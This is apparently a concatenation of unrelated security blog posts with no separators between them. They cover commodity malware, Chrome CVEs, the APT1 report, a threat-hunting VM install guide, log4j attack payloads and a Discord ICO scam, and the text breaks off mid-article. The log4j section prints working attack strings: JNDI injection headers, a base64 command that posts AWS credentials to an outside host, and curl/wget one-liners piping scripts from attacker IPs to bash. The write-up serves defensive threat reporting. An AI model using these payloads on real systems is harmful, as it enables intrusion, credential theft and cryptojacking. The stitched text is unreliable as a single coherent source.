Payload distribution The most common payload observed was Agent Tesla, accounting for over half of the obtained payloads.
Notably, all the payloads fell into a category of commodity malware such as information stealers or commercial RATs.
An Ever-Evolving Commodity Malware Scene
Malware distribution is a continually evolving practice undertaken by potential botnet herders and spam distributors alike, constantly on the quest to bypass organizational security controls to deliver malware.
As part of that ecosystem, commodity packers, such as RoboSki, are used extensively to spread numerous types of malicious code.
Keeping up to date about new variations, IOCs and overall delivery TTPs are essential to keeping networks free of malware that could eventually result in more advanced compromises.
To avoid the associated risks that come with a reliance on digital exchange for operations, the use of automation to rapidly generate indicators can help equip net defenders with the necessary insight to identify and prevent compromise.
X-Force and CT analysts assess with high confidence that the use of ordering- and logistics-themed phishing emails will persist, especially as global trade continues to recover.
Organizations especially engaged in the import and export of items worldwide should exercise extreme caution and harden their network environments.
For up-to-date information about malware campaigns, IOCs and malware reports, join us on X-Force Exchange .
Google has released an emergency update for the Chrome browser that addresses three vulnerabilities: CVE-2021-37974 , CVE-2021-37975 , and CVE-2021-37976 .
Google experts consider one of the vulnerabilities as critical and the other two as highly dangerous.
What’s worse: according to Google cybercriminals have already exploited two of these three vulnerabilities.
Therefore, Google advices all Chrome users to immediately update browser to version 94.0.4606.71.
These vulnerabilities are also relevant to other browsers based on the Chromium engine — for instance, Microsoft recommends updating Edge to version 94.0.992.38.
Why these vulnerabilities in Google Chrome are dangerous CVE-2021-37974 and CVE-2021-37975 are use-after-free (UAF) class vulnerabilities — they exploit incorrect use of heap memory and, as a result, can lead to arbitrary code execution on the targeted computer.
The first one, CVE-2021-37974, is related to the Safe Browsing component, a Google Chrome subsystem that warns users about unsafe websites and downloads.
The CVSS v3.1 severity rating for this vulnerability is 7.7 out of 10.
The second vulnerability, CVE-2021-37975, was found in Crome’s V8 JavaScript engine.
This one is considered the most dangerous of all three — 8.4 on CVSS v3.1 scale, which makes it a ‘critical’ risk vulnerability.
Unknown malefactors are already using this vulnerability in their attacks on Chrome users.
The cause of the third vulnerability, CVE-2021-37976, is data overexposure caused by the core of Google Chrome.
It’s slightly less dangerous — 7.2 on the CVSS v3.1 scale, however it is also already being used by cybercriminals.
How cybercriminals can exploit these vulnerabilities Exploitation of all three vulnerabilities requires the creation of a malicious web page.
All attackers need is to create a website with an embedded exploit and a way to lure victims to it.
As a result, exploits for two use-after-free vulnerabilities allows the attackers to execute arbitrary code on the computers of unpatched Chrome users who have accessed the page.
That can lead to the compromise of their system.
An exploit for the third vulnerability, CVE-2021-37976, makes it possible for the attackers to gain access to the victim’s confidential information.
Google will most likely reveal more details on the vulnerabilities after the majority of users have up-dated their browsers.
In any case, it’s not worth delaying the update — much better do it as soon as possible.
How to stay safe The first step for everyone is to update browsers on all devices that have access to the Internet.
Quite often the update is installed automatically when the browser is restarted, however many users do not restart their computer for a long time, so their browser may remain vulnerable for several days or even weeks.
In any case, we recommend checking the version of Chrome.
Here’s how to do it: click on the Customise and Control Google Chrome button at the top-right corner of the browser window and choose Help -> About Google Chrome .
If your browser version is not the latest available, Chrome will automatically start the update.
For extra protection we recommend users to install security solutions on all devices with Internet access.
This way, even you’re caught without an up-to-date browser, proactive protection technologies will minimize the possibility of successful vulnerability exploitation.
We also recommend employees of corporate information security departments to use security solutions on all devices , monitor security updates and employ automatic update delivery and control system.
It would be also reasonable to prioritize the installation of browser updates.
Today, The Mandiant® Intelligence Center™ released an unprecedented report exposing APT1's multi-year, enterprise-scale computer espionage campaign.
APT1 is one of dozens of threat groups Mandiant tracks around the world and we consider it to be one of the most prolific in terms of the sheer quantity of information it has stolen.
Highlights of the report include:
Evidence linking APT1 to China's 2nd Bureau of the People's Liberation Army (PLA) General Staff Department's (GSD) 3rd Department (Military Cover Designator 61398).
A timeline of APT1 economic espionage conducted since 2006 against 141 victims across multiple industries.
APT1's modus operandi (tools, tactics, procedures) including a compilation of videos showing actual APT1 activity .
The timeline and details of over 40 APT1 malware families.
The timeline and details of APT1's extensive attack infrastructure.
Mandiant is also releasing a digital appendix with more than 3,000 indicators to bolster defenses against APT1 operations.
This appendix includes: Digital delivery of over 3,000 APT1 indicators, such as domain names, and MD5 hashes of malware.
Thirteen (13) X.509 encryption certificates used by APT1.
A set of APT1 Indicators of Compromise (IOCs) and detailed descriptions of over 40 malware families in APT1's arsenal of digital weapons.
IOCs that can be used in conjunction with Redline ™, Mandiant's free host-based investigative tool, or with Mandiant Intelligent Response® (MIR) , Mandiant's commercial enterprise investigative tool.
The scale and impact of APT1's operations compelled us to write this report.
The decision to publish a significant part of our intelligence about Unit 61398 was a painstaking one.
What started as a \"what if\" discussion about our traditional non-disclosure policy quickly turned into the realization that the positive impact resulting from our decision to expose APT1 outweighed the risk of losing much of our ability to collect intelligence on this particular APT group.
It is time to acknowledge the threat is originating from China, and we wanted to do our part to arm and prepare security professionals to combat the threat effectively.
The issue of attribution has always been a missing link in the public's understanding of the landscape of APT cyber espionage.
Without establishing a solid connection to China, there will always be room for observers to dismiss APT actions as uncoordinated, solely criminal in nature, or peripheral to larger national security and global economic concerns.
We hope that this report will lead to increased understanding and coordinated action in countering APT network breaches.
We recognize that no one entity can understand the entire complex picture that many years of intense cyber espionage by a single group creates.
We look forward to seeing the surge of data and conversations a report like this will likely generate.
Dan McWhorter Managing Director, Threat Intelligence Subscribe to Blogs Get email updates as new blog posts are added.
Skilled adversaries can deceive detection and often employ new measures in their tradecraft.
Keeping a stringent focus on the lifecycle and evolution of adversaries allows analysts to devise new detection mechanisms and response processes.
Access to the appropriate tooling and resources is critical to discover these threats within a timely and accurate manner.
Therefore, we are actively compiling the most essential software packages into a Windows-based distribution: ThreatPursuit VM .
ThreatPursuit Virtual Machine (VM) is a fully customizable, open-sourced Windows-based distribution focused on threat intelligence analysis and hunting designed for intel and malware analysts as well as threat hunters to get up and running quickly.
The threat intelligence analyst role is a subset and specialized member of the blue team.
Individuals in this role generally have a strong impetus for knowing the threat environment.
Often their traits, skills and experiences will vary depending on training and subject matter expertise.
Their expertise may not be technical and may include experiences and tradecraft earned by operating within a different domain (e.g., geospatial, criminal, signals intelligence, etc.
).
A key aspect of the role may include the requirement to hunt, study and triage previously undiscovered or recently emerging threats by discerning data for evil.
Threat analysts apply a variety of structured analytical methods in order to develop meaningful and relevant products for their customers.
With this distribution we aim to enable users to: Conduct hunting activities or missions Create adversarial playbooks using evidence-based knowledge Develop and apply a range of analytical products amongst datasets Perform analytical pivoting across forensic artifacts and elements Emulate advanced offensive security tradecraft Enable situational awareness through intelligence sharing and reporting Applied data science techniques & visualize clusters of symbolic data Leverage open intelligence sources to provide unique insights for defense and offense Akin to both FLARE-VM and Commando VM , ThreatPursuit VM uses Boxstarter , Chocolatey and MyGet packages to install software that facilitates the many aspects related to roles performed by analysts.
The tools installed provide easy access to a broad range of tooling, including, but not limited to, threat analytics, statistics, visualisation, threat hunting, malware triage, adversarial emulation, and threat modelling.
Here are some of the tools, but there are many more:
MISP OpenCTI
Elasticsearch, Kibana, Logstash Splunk Threat Hunter Playbook CSIRO Data61 Constellation Maltego RStudio MITRE CALDERA Jupyter Notebook Python SilkETW
For a full list of tools, please visit our GitHub repository .
Installation Similar to FLARE-VM and Commando VM , it's recommended to install ThreatPursuit VM in a virtual machine.
The following is an overview of the minimal and recommended installation requirements.
Requirements Windows 10 1903 or greater 60 GB Hard Drive 4 GB RAM Recommended Windows 10 1903 80+ GB Hard Drive 6+ GB RAM 1 network adapter OpenGL Graphics Card 1024mb Enable Virtualization support for VM Required for Docker (MISP, OpenCTI)
Standard Install The easiest way to install ThreatPursuit VM is to use the following steps.
This will install all the default tools and get you finding evil in no time!
Create and configure a new Windows 10 VM with the aforementioned requirements.
Ensure VM is updated completely.
You may need to check for updates, reboot and check again until no more remain.
Install your specific VM guest tools (e.g., VMware Tools) to allow additional features such as copy/paste and screen resizing.
Take a snapshot of your machine!
This allows you to always have a clean state.
Download and copy install.ps1 to your newly configured VM.
Open PowerShell as an administrator.
Next, unblock the install file by running: Unblock-File .\\install.ps1 , as seen in Figure 1.
Figure 1: Unblock-File installation script Enable script execution by running:
Set-ExecutionPolicy Unrestricted -f , as seen in Figure 2.
Figure 2: Set-ExecutionPolicy Unrestricted -f script Finally, execute the installer script as follows: .\\install.ps1
After executing install.ps1 , you’ll be prompted for the administrator password in order to automate host restarts during installation as several reboots occur.
Optionally, you may pass your password as a command-line argument via \" .\\install.ps1
-password <password>\" .
If you do not have a password set, hitting enter when prompted will also work.
This will be the last thing you will need to do before the installation is unattended.
The script will set up the Boxstarter environment and proceed to download and install the ThreatPursuit VM environment, as seen in Figure 3.
Figure 3: Installation script execution
The installation process may take upwards of several hours depending on your internet connection speed and the web servers hosting the various files.
Figure 4 shows the post-installation desktop environment, featuring the logo and a desktop shortcut.
You will know when the install is finished with the VM's logo placed on the background.
Figure 4: ThreatPursuit VM desktop installed Custom Install Is the standard installation too much for you?
We provide a custom installation method that allows you to choose which chocolatey packages get installed.
For additional details, see the Custom Install steps at our GitHub repository.
Installing Additional Packages Since ThreatPursuit VM uses the Chocolatey Windows package manager, it's easy to install additional packages not included by default.
For example, entering the command cinst github as administrator installs GitHub Desktop on your system.
To update all currently installed packages to their most recent versions, run the command cup all as administrator.
Getting Started: A Use Case As threat analysts, what we choose to pursue will depend on the priorities and requirements of our current role.
Often, they vary with each threat or adversary encountered such as financial crime, espionage, issue-motivated groups or individuals.
The role broadly encompasses the collection and analysis of threat data (e.g., malware, indicators of attack/compromise) with the goal of triaging the data and developing actionable intelligence.
For example, one may want to produce detection signatures based on malware network communications to classify, share or disseminate indicators of compromise (IOCs) in standardized ways.
We may also use these IOCs in order to develop and apply analytical products that establish clusters of analogous nodes such as MITRE ATT&CK tactics and techniques, or APT groups.
On the other hand, our goal can be as simple as triaging a malware sample behavior, hunting for indicators, or proving or disproving a hypothesis.
Let's look at how we might start.
Open Hunting To start our use case, let’s say we are interested in reviewing latest threat actor activity reported for the quarter.
We sign in to the Mandiant Advantage portal (Figure 5) using our public subscription to get a snapshot view of any highlighted activity (Figure 6).
Figure 5:
Mandiant Advantage portal Figure 6: Actor activity for Q3 2020 Based on Mandiant Advantage report, we notice a number of highly active APT and FIN actors.
We choose to drill in to one of these actors by hovering our mouse and selecting the actor tag FIN11.
We receive a high-level snapshot summary view of the threat actor, their targeted industry verticals, associated reports and much more, as seen in Figure 7.
We also may choose to select the most recent report associated with FIN11 for review.
Figure 7: FIN11 actor summary By selecting the “View Full Page” button as seen at the top right corner of Figure 6, we can use the feature to download indicators, as seen in the top right corner of Figure 8.
Figure 8:
Full FIN11 page Within the FIN11 report, we review the associated threat intelligence tags that contain finished intelligence products.
However, we are interested in the collection of raw IOCs (Figure 9) that we could leverage to pivot off or enrich our own datasets.
Figure 9: Downloaded FIN11 indicators Using the Malware Information Sharing Platform (MISP )as our collection point, we are going to upload and triage our indicators using our local MISP instance running on ThreatPursuit VM.
Please note you will need to ensure your local MISP instance is running correctly with the configuration of your choosing.
We select the “Add Event” button, begin populating all needed fields to prepare our import, and then click “Submit”, as shown in Figure 10.
Figure 10: MISP triage of events Under the tags section of our newly created FIN11 event, we apply relevant tags to begin associating aspects of contextual information related to our target, as seen in Figure 11.
Figure 11: MISP Event setup for FIN11
We then select “Add Attribute” into our event, which will allow us to import our MD5 hashes into the MISP galaxy, as seen in Figure 12.
Using both the category and type, we select the appropriate values that best represent our dataset and prepare to submit that data into our event.
Figure 12:
MISP import events into FIN11 event MISP allows for a streamlined way to drill and tag indicators as well as enrich and pivot with threat intelligence.
We can also choose to perform this enrichment process within MISP using a variety of open intelligence sources and their modules, such as Mandiant Advantage , PassiveTotal , Shodan and VirusTotal .
We can also achieve the same result using similar tools already packaged in ThreatPursuit VM.
Using Maltego CE, installed as part of the VM, we can automate aspects of targeted collection and analysis of our FIN11 malware families and associated infrastructure.
The following are just some of the Maltego plugins that can be configured post installation to help with the enrichment and collection process: VirusTotal Public API ThreatCrowd Shodan API Targeting the suspected payload, we attempt to pivot using its MD5 hash value (113dd1e3caa47b5a6438069b15127707) to discover additional artifacts, such as infrastructure, domain record history, previously triaged reports, similar malware samples, timestamps, and the rich headers.
Importing our hash into Maltego CE, we can proceed to perform a range of queries to hunt and retrieve interesting information related to our FIN11 malware, as seen in Figure 13.
Figure 13:
Maltego CE querying MD5 hash Quite quickly we pull back indicators; in this case, generic named detection signatures from a range of anti-malware vendors.
Using VirusTotalAPI Public, we perform a series of collection and triage queries across a variety of configured open sources, as shown in Figure 14.
Figure 14:
Automating enrichment and analysis of targeted infrastructure A visual link has been made public for quick reference.
With our newly identified information obtained by passively scraping those IOCs from a variety of data providers, we can identify additional hashes, delivery URLs and web command and control locations, as shown in Figure 15.
Figure 15: Maltego visualization of FIN11 dropper Pivoting on the suspected FIN11 delivery domain near-fast[.
]com, we have found several more samples that were uploaded to an online malware sandbox website AppAnyRun .
Within the ThreatPursuit VM Google Chrome browser and in the Tools directory, there are shortcuts and bookmarks to a range of sandboxes to help with accessing and searching them quickly.
We can use AppAnyRun to further analyze the heterogenous networks and execution behaviors of these acquired samples.
We have identified another similar sample, which is an XLS document named “MONITIORING REPORT.xls” with the MD5 hash 5d7d2371668ad4a6484f76b0b6511961
(Figure 16).
Let’s attempt to triage this newly discovered sample and qualify the relationship back to FIN11.
Figure 16:
VirusTotal execution report of 5d7d2371668ad4a6484f76b0b6511961 Extracting interesting strings and indicators from this sample allows us to compare these artifacts against our own dynamic analysis.
If we can’t access the original malware sample, but we have other indicators to hunt with, we could also pivot on various unique characteristics and attributes (e.g., imphash, vthash, pdb string, etc...) to discover related samples.
Even without access to the sample, we can also use YARA to mine for similar malware samples.
One such source to mine is using the mquery tool and their datasets offered via CERT.PL.
To fast track the creation of a YARA rule, we leverage the FIN11 YARA rule provided within the FIN11 Mandiant Advantage report .
Simply copy and paste the YARA rule into mquery page and select “Query” to perform the search (Figure 17).
It may take some time, so be sure to check back later (here are the results ).
Figure 17: mquery YARA rule hunting search for FIN11 malware Within our mquery search, we find a generic signature hit on Win32_Spoonbeard_1_beta for the MD5 hash 3c43d080b5badfdde7aff732c066d1b2.
We associate this MD5 hash with another sandbox, app.any.run, at the following URL: https://app.any.run/tasks/19ac204b-9381-4127-a5ac-d6b68e0ee92c/ As seen in Figure 18, this sample was first uploaded on May 2, 2019, with an associated infection chain intact.
Figure 18:
AppAnyRun Execution Report on 3c43d080b5badfdde7aff732c066d1b2 We now have a confident signature hit, but with different named detections on the malware family.
This is a common challenge for threat analysts and researchers.
However we have gained interesting information about the malware itself such as its execution behavior, encryption methods, dropped files, timelines and command and control server and beacon information.
This is more than enough for us to pivot across our own datasets to hunt for previously seen activities and prepare to finalize our report.
Once we are confident in our analysis, we can start to model and attribute the malware characteristics.
We can leverage other threat exchange communities and intelligence sources to further enrich the information we collected on the sample.
Enrichment allows the analysts to greater extrapolate context such as timings, malware similarity, associated infrastructures, and prior targeting information.
We will briefly add our content into our MISP instance and apply tags to finalize our review.
We may wish to add MITRE ATT&CK tags (Figure 19) relevant across the malware infection chain for our sample as they could be useful from a modelling standpoint.
Figure 19:
MITRE ATT&CK tags for the malware sample Final Thoughts
We hope you enjoyed this basic malware triage workflow use-case using ThreatPursuit VM.
There are so many more tools and capabilities within the included toolset such as Machine learning (ML) and ML algorithms, that also assist threat hunters by analyzing large volumes of data quickly.
Check out some of FireEye’s ML blog posts here.
For a complete list of tools please see the ThreatPursuit VM GitHub repository .
We look forward to releasing more blog posts, content and playbooks as our user base grows.
And finally, here are some related articles that might be of interest.
Malware Analysis Open Sourcing StringSifter capa:
Automatically Identify Malware Capabilities Learning to Rank Strings Output for Speedier Malware Analysis Analyzing Dark Crystal RAT, a C# Backdoor Navigating the Maze: Tactics, Techniques and Procedures Associated With MAZE Ransomware Incidents Digital Forensics Using Real-Time Events in Investigations A \"DFUR-ent\" Perspective on Threat Modeling and Application Log Forensic Analysis SCANdalous!
(External Detection Using Network Scan Data and Automation) Intelligence Analysis and Assessments Managed Defense:
The Analytical Mindset How Strategic Intelligence Helps Organizations Make Sense of the Threat Landscape Limited Shifts in the Cyber Threat Landscape Driven by COVID-19
They Come in the Night:
Ransomware Deployment Trends Subscribe to Blogs Get email updates as new blog posts are added.
Juniper Threat Labs compiled a list of the payloads from log4j attacks we have seen as of 12/16.
Most of the payloads install malware such as Muhstik, Kinsing, Mirai and Cryptominers.
We have also seen installation of a file infector malware.
We have also observed malicious attacks that open a reverse shell on the target, as well as attacks that attempt to dump AWS credentials.
There are also a large number of benign scans coming from test or security organizations.
To be able to have a better understanding of the attacks, we will briefly detail how this specific attack works.
The majority of the attacks have the strings “Basic/Command/Base64/ ” or “ Basic/ReverseShell”.
GET /$%7Bjndi:
ldap://<redacted> /Basic/Command/Base64 / Y3VybCAtZCAiJChjYXQgfi8uYXdzL2NyZWRlbnRpYWxzKSIgaHR0cHM6Ly9jNnRkNW1lMnZ0Y<redacted> %7D HTTP/1.1 Host:<redacted>
User-Agent: ${jndi:ldap://<redacted> /Basic/Command/Base64 / Y3VybCAtZCAiJChjYXQgfi8uYXdzL2NyZWRlbnRpYWxzKSIgaHR0cHM6Ly9jNnRkNW1lMnZ0YzAwMDBhcTY5MGdkcGcxNG<redacted> } GET / HTTP/1.0 User-Agent: borchuk/3.1 ${jndi:ldap://<redacted>:1389 /Basic/ReverseShell/ <redacted_ip>/9999 } Accept: */* Bearer: ${jndi:ldap://<redacted>:1389 /Basic/ReverseShell / <redacted_ip>/9999 }
These attacks are initiated using a tool called “JNDIExploit”, a java-based exploitation framework that specifically targets JNDI vulnerabilities.
Local JNDI vulnerabilities have existed in the past before Log4j exposed them to the outside world.
At Blackhat 2016, researchers presented their paper on JNDI attacks.
The JNDIExploit tool can start its own LDAP and HTTP server and is capable of receiving different types of payloads, including command execution and reverse shell.
JNDIExploit usage For instance, when the URL has the “ Basic/Command” string, it will execute whatever command is in the URL after that.
If the URL has the “Basic / ReverseShell ” string, it will invoke a reverse shell.
It does this by dynamically generating a Java class that will perform the command and sends the location of that Java class as a response to the LDAP query.
It will also host that Java class using its o wn HTTP server so that the vulnerable server can download it and thus results into remote code execution (RCE) Commands in JNDIExploit
CommandTemplate.class ReverseShellTemplate.class
This tool was initially deployed on GitHub in November 2020 but the original repo has been taken down; however, multiple clones of this tool resurfaced on Github.
Malware Installation
The following is a list of malware families we discovered that resulted from exploitation of the log4j vulnerability CVE-2021-44228.
Muhstik Bot First sighting exploiting CVE-2021-44228: December 11, 2021
The attacker sends the following request to a vulnerable server whic h leads to download and execution of Exploit.class on the target.
This Java class downloads ‘log ’ from 68[.
]183.165.105 in Linux environments and ‘ s. cmd ’ from 172[.
]105.241.146 on Windows environments using powershell .
Log is a shell script that downloads multiple pty ELF files, each built for a different architecture (i.e., MIPS, ARM, Intel ) .
These are variants of Muhstik bot which is the same malware targeting Confluence servers back in September .
S.cmd is a powershell script that installs Monero miner and saves the earnings from the mining to this wallet “46QBumovWy4dLJ4R8wq8JwhHKWMhCaDyNDEzvxHFmAHn92EyKrttq6LfV6if5UYDAyCzh3egWXMhnfJJrEhWkMzqTPzGzsE”.
Exploit.class downloads Muhstik bot when in Linux and XMRig when on Windows Here are the corresponding sha256 hashes of the downloaded files we have seen: c39eb055c5f71ebfd6881ff04e876f49495c0be5560687586fc47bf5faee0c84
pty1 33dd6c0af99455a0ca3908c0117e16a513b39fabbf9c52ba24c7b09226ad8626
pty2 4c97321bcd291d2ca82c68b02cde465371083dace28502b7eb3a88558d7e190c  pty3 b0a8b2259c00d563aa387d7e1a1f1527405da19bf4741053f5822071699795e2  pty4 2752deb9f9f9602ca0c7bd41c3171d1560b929b6a4221ab07b0bf872d042f7e7  pty5 A290b6f956ecdb3d2d2019088f0b01a93a9f680c82a4680c0fb87eb5e3e64897
log C70e6f8edfca4be3ca0dc2cfac8fddd14804b7e1e3c496214d09c6798b4620c5  s.cmd s.cmd code that installs XMRig
Kinsing
Malware First sighting exploiting CVE-2021-44228: December 11, 2021
The attacker in this case seems to have used the JNDIExploit tool, given the presence of “Basic/Command/Base64” in the string.
The base64 encoded string is a command to download a shell script lh.sh (3ba2c4ae64be8d03747dffd5e4dc98730a54fdbb4aad50516428dc2507fdbfcf).
( curl -s 92[.
]242.40.21/lh.
sh || wget -q -O- 92[.
]242.40.21/lh.sh)| bash The script will in turn download the Kinsing binary (6e25ad03103a1a972b78c642bac09060fa79c460011dc5748cbb433cc459938b) from the same IP.
Inside lh.sh shell script Other attacks installing Kinsing
Malware are as follows: (curl -s 82[.
]118.18.201/lh.sh|| wget -q -O- 82[.
]118.18.201/lh.sh)|bash - base64 decoded 68cc0ae1ca1e26d5f1dba19d065291ae6c5c69c9f37b9f384245d6fa070f1d69  - Kinsing Binary Mirai First sighting exploiting CVE-2021-44228: December 15, 2021
The attack also used the JNDIExploit tool.
The base64 encoded string is as follows: wget http://152[.
]67.63.150/py; curl -O http://152[.
]67.63.150/py; chmod 777 py; ./py
rce.x86 This gets executed on the target which will download ‘py’ binary, a variant of the Mirai bot.
Virus.
Mikcer First sighting exploiting CVE-2021-44228: 2021-12-15
The following attack specifically targets Apache Solr based on the GET request.
The attacker-controlled LDAP server sends ExecTemplateJDK8.class, which gets executed on the target.
This class will download log4tst.exe using certutil from 182.131.31.122:5367.
The binary is a v ariant of Virus.
Mikcer ( a.k .
a .
Wapomi ) which is a type of file infector.
This type of malware finds Windows executable program (e.g.,  .exe
in ProgramFiles folder) as a host and infects it by injecting its malicious code making that file also capable of in fecting other executables.
70ffac4b8f2cf00a6876b3aa622c0efa87b53b681791302eea27692dd81f273d *ExecTemplateJDK8.class 85e88e7bdd4657422a121146600c71250d68b44a82b9677856ffda9dbec07d98 *log4tst.exe CryptoMiners First sighting exploiting CVE-2021-44228: 2021-12-11 A lot of the attacks also install CryptoMiner such as the following: They utilize the JNDIExploit tool to execute the following on the target: echo &(wget -O - http://209[.
]141.58.149:8005/aa0||curl -o - http://209[.
]141.58.149:8005/
aa0)|/bin/bash The target downloads a shell script with filename aa0 which will then downloads an ELF binary, lz, a Monero Miner.
f42915a2c76a29edd58fc2e1f7fde4c15d369e141d384064203ac57d53c41d5e *aa0 7ef631659c6f66719a18330ca3a79e89a9297681087659b8aa903c23c9e98be2
*lz Another request that leads to coinminer is the following: Reverse Shell First sighting exploiting CVE-2021-44228: December 14, 2021 We have seen attacks that try to open a reverse shell using JNDIExploit.
The following request opens a reverse shell to 167[.
]99.32.139:1389 Exfiltrating Sensitive Information Aside from making the target install malware, an attack can also exfiltrate sensitive information from the target.
For instance, we have seen attacks that attempt to dump AWS credentials.
Benign Scanning W e have also seen a significant amount of scanning that looks just like a test or done by security researchers or organizations.
Binaryedge.io LeakIX Just a test where the callback is on localhost and only interested in the version of JAVA the target is using.
Kryptoslogic Shifting to RMI and IIOP Most of the attacks we have seen used LDAP but recently, attackers are shifting to RMI and IIOP.
We have detailed a complete chain using RMI infection in our previous blog .
Attackers used the RMI protocol to install Monero Cryptominer Attackers used the IIOP protocol.
Juniper Threat Labs continues to monitor attacks related to the Log4j vulnerability to share IOCs with th e community and add mitigations and protections across the suite of Juniper Networks security products.
Indicators of Compromise IP Address 45[.
]83.193.150 68[.
]183.165.105
172[.
]105.241.146 54[.
]210.230.186
18[.
]228.7.109 45[.
]130.229.168 92[.
]242.40.21 82[.
]118.18.201 152[.
]67.63.150 135[.
]148.143.217 182[.
]131.31.122 209[.
]141.58.149 185[.
]250.148.157 167[.
]99.32.139 176[.
]32.33.14 128[.
]90.61.199 134[.
]209.163.248 135[.
]148.143.217 139[.
]59.175.247 14[.
]192.5.36 14[.
]215.128.148 159[.
]223.5.30 163[.
]172.157.143 167[.
]172.44.255 167[.
]71.13.196 167[.
]99.32.139 176[.
]32.33.14 178[.
]79.157.186 182[.
]131.31.122 185[.
]224.139.151 185[.
]244.214.217 185[.
]250.148.157 193[.
]3.19.1 193[.
]3.19.159 195[.
]54.160.149 205[.
]185.115.217 209[.
]141.58.149 45[.
]130.229.168 45[.
]137.21.9 45[.
]155.205.233 45[.
]83.193.150 45[.
]83.64.1 51[.
]38.92.223 62[.
]182.80.168 80[.
]71.158.44 82[.
]118.18.201 85[.
]10.195.175 92[.
]242.40.21 URL https://c6td5me2vtc0000aq690gdpg14eyyyyyb[.
]interactsh.com
Files c39eb055c5f71ebfd6881ff04e876f49495c0be5560687586fc47bf5faee0c84  pty1 33dd6c0af99455a0ca3908c0117e16a513b39fabbf9c52ba24c7b09226ad8626
pty2 4c97321bcd291d2ca82c68b02cde465371083dace28502b7eb3a88558d7e190c  pty3 b0a8b2259c00d563aa387d7e1a1f1527405da19bf4741053f5822071699795e2  pty4 2752deb9f9f9602ca0c7bd41c3171d1560b929b6a4221ab07b0bf872d042f7e7  pty5
A290b6f956ecdb3d2d2019088f0b01a93a9f680c82a4680c0fb87eb5e3e64897
log C70e6f8edfca4be3ca0dc2cfac8fddd14804b7e1e3c496214d09c6798b4620c5  s.cmd 3ba2c4ae64be8d03747dffd5e4dc98730a54fdbb4aad50516428dc2507fdbfcf  lh.sh 9691061f778674bb4e28fb6a2d88a2fe72711ae71f3d2f4137654e1b5e91c9d2   py 6e25ad03103a1a972b78c642bac09060fa79c460011dc5748cbb433cc459938b  kinsing 68cc0ae1ca1e26d5f1dba19d065291ae6c5c69c9f37b9f384245d6fa070f1d69  kinsing 8ad160ddb9d617cf61ff0a7af0fa6d12ae26cf85a5d6e551c617f6c6bb770299 Exploit.class 9691061f778674bb4e28fb6a2d88a2fe72711ae71f3d2f4137654e1b5e91c9d2  mirai 70ffac4b8f2cf00a6876b3aa622c0efa87b53b681791302eea27692dd81f273d  ExecTemplateJDK8.class 85e88e7bdd4657422a121146600c71250d68b44a82b9677856ffda9dbec07d98  log4tst.exe f42915a2c76a29edd58fc2e1f7fde4c15d369e141d384064203ac57d53c41d5e  aa0 7ef631659c6f66719a18330ca3a79e89a9297681087659b8aa903c23c9e98be2
lz_coinminer e7c5b3de93a3184dc99c98c7f45e6ff5f6881b15d4a56c144e2e53e96dcc0e82  coinminer Monero Wallet 46QBumovWy4dLJ4R8wq8JwhHKWMhCaDyNDEzvxHFmAHn92EyKrttq6LfV6if5UYDAyCzh3egWXMhnfJJrEhWkMzqTPzGzsE
Following the helicopter money and fake cryptocurrency exchange scams, the Discord scam saga continues, this time with cybercriminals hitting ICO investors.
What ICOs are, and how they work ICO is short for Initial Coin Offering .
Before making them available for free trading on cryptoexchanges, makers of new cryptocurrencies release some tokens — typically to raise initial funds for the project.
On the buyer side, speculators are hoping to profit — that the market rate will increase.
That makes ICOs similar to IPOs (initial public offerings) on the stock market.
The ICO concept is gaining momentum.
According to PwC analysts , ICOs increased from only 49 ICOs in 2016 to more than 1,000 in 2018.
The financial increase is no less impressive: from $252 million to $19.7 billion.
ICO types Several initial placement options are available.
Broadly, there are capped and uncapped placements.
In the former case, the issuer clearly states the sum to be collected and the number of tokens up for trading — as a result, there may not be enough coins to cover the demand.
Uncapped placements continue, as the name suggests, nonstop throughout the ICO.
The organizers never stop collecting money, hoping to bring in as many investors and as much money as possible.
But an unlimited supply may dampen investor interest, of course, so organizers have to hype the placement.
There are also several distribution options.
For example, in some ICOs, advance requests are processed based on an FCFS (First Come First Serve) basis; in others, whoever offers the highest price wins the assets at auction.
Then we have the randomized queue, an alternative format that’s been gaining traction of late, in which the traders register on the project website well in advance but learn their number only after they are in the queue and trading begins.
In other words, potential cryptoinvestors can’t know until the last moment whether they will get the coveted assets.
Those who get nothing risk falling victim to FOMO (fear of missing out, a term investors use for anxiety due to lost profit or opportunity) — that is, getting nervous and letting their guard down.
An ICO that never happened FOMO is at the heart of many scams.
Lately, for example, we’ve been seeing mass messaging to members of cryptocurrency communities in Discord, with emoji-rich text advertising a new round of an uncapped ICO allegedly being held by a (real) leading-edge blockchain startup — Mina in our example, but there are others as well.
Just like every other fraud scheme, this one tries to rush potential victims into following a link to the “official” website.
Incidentally, the real Mina did hold a placement not long ago, in the randomized queue format, and many who registered got no coins.
The new scheme exploits that history.
Scammers warning about scammers in one of the messages in Discord The message contains links to what looks like the real Mina page.
The Mina project is dedicated to creating a minimalistic blockchain, so the Mina website is also minimalistic to the extreme — which spared the scammers the effort of building a comprehensive fake.
Visitors are required to complete a simple registration: name, e-mail address, and, for some reason, a link to their social network page.
The rogue site’s overall style is similar to Mina’s The scammers claim to have streamlined the ICO process: “Make a cryptocurrency payment to the specified wallet and get your tokens.”
In fact, the next prompt, right after registration, requests a cryptocurrency selection and payment amount.
The token “purchasing” process is designed to be as simple as possible — select one of three popular cryptocurrencies … … and then specify the sum you mean to part with (forever)
Once the currency and sum are specified, the payment alone remains — the website offers to copy the address of the scammers’ cryptocurrency wallet or scan its QR code.
Almost there: time to pay Once they have pocketed the money, the criminals apologize for the delay, citing necessary confirmations in the blockchain network, which, unfortunately, is under heavy load at the moment.
They ask investors to be patient and wait for three hours before contacting support, should the coins fail to arrive.
Everything is fine, and the coins are on their way (not really)
It should come as no surprise that the investors will never get their coins — their money are gone for good.
Apparently, some people have already fallen victim to the scheme.
For example, as of the time of this publication, the wallet specified on the fake Mina page had received 0.2 BTC in payments (more than $7,000 — again, as of the time of this publication).
How to avoid ICO cryptoscams To stay clear of the scheme described, follow these simple rules — they’re good for just about any situation.
Think.
Consider the incoming message soberly.
In the fake Mina example, ask yourself why such a generous (weird but generous) offer would have no buzz in specialized communities?
Could the sender be trying to exploit your FOMO?
Why the need to use no link but the one in the letter?
Why does the letter ask you to spread the information among your contacts?
There’s no proof of scam here, but plenty of food for thought.
Check.
Visit the issuer’s official website by typing its address into your browser’s address bar.
Read any coverage of the ICO project on specialized resources.
Check the real cryptoproject servers in Discord, which stay on top of scams and post warnings.
However you choose to research and verify, never drop your guard: Scammers have built entire fake news sites to lend credibility to cyberscams.
Protect.
